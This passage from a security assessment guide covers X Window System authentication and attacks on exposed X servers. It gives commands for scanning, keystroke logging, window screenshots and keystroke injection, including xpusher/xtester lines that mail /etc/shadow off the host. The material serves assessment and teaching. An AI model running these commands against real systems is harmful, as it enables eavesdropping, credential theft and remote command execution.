X Windows is commonly used by most major Unix-like operating systems as the underlying system for displaying graphical applications. For example, Gnome, KDE, and applications including xterm and ghostview run using the X Windows protocol.
X Windows was developed at MIT in 1984, with Version 11 first released in 1987. The X Window system is currently at release six of Version 11 (commonly referred to as X11R6). Over the past few years since release two, the X Window system has been maintained by the X Consortium, an association of manufacturers supporting the X standard.
X servers listen on TCP ports 6000 to 6063 (depending on the number of concurrent displays). Most of the time users simply access their local X server, although X can be accessed over a network for remote use. The two authentication mechanisms within X Windows are xhost and xauth, which I discuss in the following sections.
Host-based X authentication allows users to specify which IP addresses and hosts have access to the X server. The xhost command is used with + and - options to allow and deny X access from individual hosts (i.e., xhost +192.168.189.4). If a + option is used with no address, any remote host can access the X server.
xhost authentication is dangerous and doesn't provide the granularity required in complex environments. By issuing an xhost - command, host-based authentication is disabled, and only local access is granted.
When a legitimate user logs in locally to X Windows, a magic cookie is placed into the .Xauthority file under the user's home directory. The .Xauthority file contains one cookie for each X display the user can use, which can be manipulated using the xauth utility as shown here:
# xauth list onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5 onyx/unix:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5 #
X server magic cookies can be placed into other user .Xauthority files (even on remote hosts) by simply copying the cookie and using xauth as follows:
# xauth add onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5 # xauth list onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5 #
The most obvious vulnerability to check for when assessing X servers is if xhost authentication has been enabled with the + wildcard. The xscan utility can quickly identify poorly configured X servers; it's available from http://packetstormsecurity.org/Exploit_Code_Archive/xscan.tar.gz.
Example 7-13 shows the xscan tool used to scan the 192.168.189.0/24 network:
# ./xscan 192.168.189 Scanning 192.168.189.1 Scanning hostname 192.168.189.1 ... Connecting to 192.168.189.1 (gatekeeper) on port 6000... Host 192.168.189.1 is not running X. Scanning hostname 192.168.189.66 ... Connecting to 192.168.189.66 (xserv) on port 6000... Connected. Host 192.168.189.66 is running X. Starting keyboard logging of host 192.168.189.66:0.0 to file KEYLOG192.168.189.66:0.0...
At this point, the tool taps into the X server display (:0.0) on 192.168.189.66 and siphons keystrokes from the active programs on the remote system (to a file called KEYLOG192.168.189.66:0.0).
Upon identifying accessible X servers and displays, an attacker can do the following:
List the open windows for that X display
Take screenshots of specific open windows
Capture keystrokes typed in specific windows
Send keystrokes to specific windows
To list the open windows for a given accessible X server display, issue the following xwininfo command:
# xwininfo -tree -root -display 192.168.189.66:0 | grep -i term 0x2c00005 "root@onyx: /": ("GnomeTerminal" "GnomeTerminal.0") 0x2c00014 "root@xserv: /": ("GnomeTerminal" "GnomeTerminal.0")
In this case, the output from xwininfo is piped through grep to identify open terminal sessions. In most cases, you are presented with a large number of open windows, so it's useful to filter the output in this way.
Here, two open windows have hex window-ID values of 0x2c00005 and 0x2c00014. These ID values are needed when using tools to monitor and manipulate specific processes.
X11R6 has a built-in tool called xwd that can take snapshots of particular windows. The utility uses XGetImage( ) as the main function call to do this. The output can be piped into the xwud command, which displays xwd images. Here are two examples of the tool being run to gather screenshots:
Show the entire display at 192.168.189.66:0:
# xwd -root -display 192.168.189.66:0 | xwud
Show the terminal session window at 0x2c00005:
# xwd -id 0x2c00005 -display 192.168.189.66:0 | xwud
xwatchwin also takes updated screenshots every few seconds and is available at ftp://ftp.x.org/contrib/utilities/xwatchwin.tar.Z.
If you specify a window ID using xwatchwin, it must be an integer instead of hex. The Window ID integer can be displayed if you add the -int option to xwininfo. Here ar two command-line examples of the tool:
Show the entire display at 192.168.189.66:0:
# ./xwatchwin 192.168.189.66 root
Show a specific window ID at 192.168.189.66:0:
# ./xwatchwin 192.168.189.66 46268351
You can use two tools to capture keystrokes from exposed X servers: snoop and xspy, which are available at:
Upon compiling, you can run both tools from the command line. Two examples follow, showing how these tools can be used to log keystrokes. Example 7-14 shows xsnoop used to monitor the specific window ID 0x2c00005.
# ./xsnoop -h 0x2c00005 -d 192.168.189.66:0 www.hotmail.com a12m elidor
The entire 192.168.189.66:0 display can be monitored using xspy, as shown in Example 7-15.
# ./xspy -display 192.168.189.66:0 John, It was good to meet with your earlier on. I've enclosed the AIX hardening guide as requested - don't hesitate to drop me a line if you have any further queries! Regards, Mike netscape www.amazon.com firstname.lastname@example.org godisluv
Pushing keystrokes to specific windows has varying mileage depending on the X server. xpusher and xtester are two tools you can use; they are available at:
The xpusher and xtester programs take two different approaches when trying to send keystrokes to the remote X server. The xpusher tool uses the XSendEvent( ) function, and xtester takes advantage of the XTest extensions included with X11R6. Recent X servers mark remote input through XSendEvent( ) as synthetic and don't process it, so I recommend the xtester route if you are assessing an X11R6 server.
Both tools are extremely simple to use when you know to which windows you want to send keystrokes (using the xwininfo utility). Two command-line examples of the xpusher and xtester usage follow; both email email@example.com the /etc/shadow file from the server.
Using xpusher to send commands to window 0x2c00005:
# ./xpusher -h 0x2c00005 -display 192.168.189.66:0 mail firstname.lastname@example.org < /etc/shadow
Using xtester to send commands to window 0x2c00005:
# ./xtester 0x2c00005 192.168.189.66:0 mail email@example.com < /etc/shadow
The majority of vulnerabilities in XFree86 and other window management systems are locally exploitable (through abusing symlink vulnerabilities or race conditions), and I don't cover them here. After searching the MITRE CVE list, CERT knowledge base, and others for a definitive list of serious remotely exploitable issues, I found the ISS X-Force database (http://xforce.iss.net) was the most comprehensive, listing one serious bug relating to a remote overflow in XDM. For further information, see XFID 4762, at http://xforce.iss.net/xforce/xfdb/4762.